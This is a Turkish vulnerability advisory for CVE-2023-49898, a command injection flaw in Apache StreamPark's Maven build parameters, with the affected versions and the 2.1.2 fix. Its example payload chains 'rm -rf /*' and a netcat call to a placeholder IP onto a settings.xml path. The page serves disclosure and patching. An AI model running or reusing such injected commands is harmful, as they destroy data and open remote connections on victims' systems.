CVE-2023-49898
Açıklama
streampark içerisinde, Maven'ın derleme yeteneğini entegre eden bir proje modülü bulunmaktadır. Ancak, Maven'ın derleme parametreleri üzerinde herhangi bir kontrol yoktur; bu durum saldırganların uzaktan komut çalıştırma için komutlar eklemesine izin verir. Başarılı bir saldırı için ön koşul, kullanıcının streampark sistemine giriş yapmış olması ve sistem düzeyinde izinlere sahip olmasıdır. Genellikle yalnızca söz konusu sistemin kullanıcıları giriş yetkisine sahiptir ve kullanıcılar manuel olarak tehlikeli bir işlem komutu girmezler. Bu nedenle, bu zafiyetin risk seviyesi çok düşüktür. Azaltma: Tüm kullanıcılar 2.1.2 sürümüne yükseltmelidir. Örnek: ## Projenin derleme durumuna göre birleştirme yöntemini özelleştirebilirsiniz; mvn derleme sonuçları için &&, derleme hatası için "||" veya "&&" kullanılır: /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
Nasıl düzeltilir
- apache streampark2.1.2 ya da sonraki bir sürüm
- org.apache.streampark:streampark2.1.2 ya da sonraki bir sürüm
Etkilenen ürünler
| Ürün | Etkilenen sürümler | Düzeltildiği sürüm |
|---|---|---|
| apache streampark | 2.0.0 ≤ v < 2.1.2 | 2.1.2 |
| org.apache.streampark:streamparkMaven | 2.0.0 ≤ v < 2.1.2 | 2.1.2 |
Sürümünüzü kontrol edin
Ürünü seçin ve kullandığınız sürümü yazın; sürümün etkilenen aralıkta olup olmadığını görün.
Attack Surface Management
Alan adlarınıza bağlı varlıkları, bu varlıklarda çalışan teknolojileri ve bilinen zafiyetleri tek listede görün.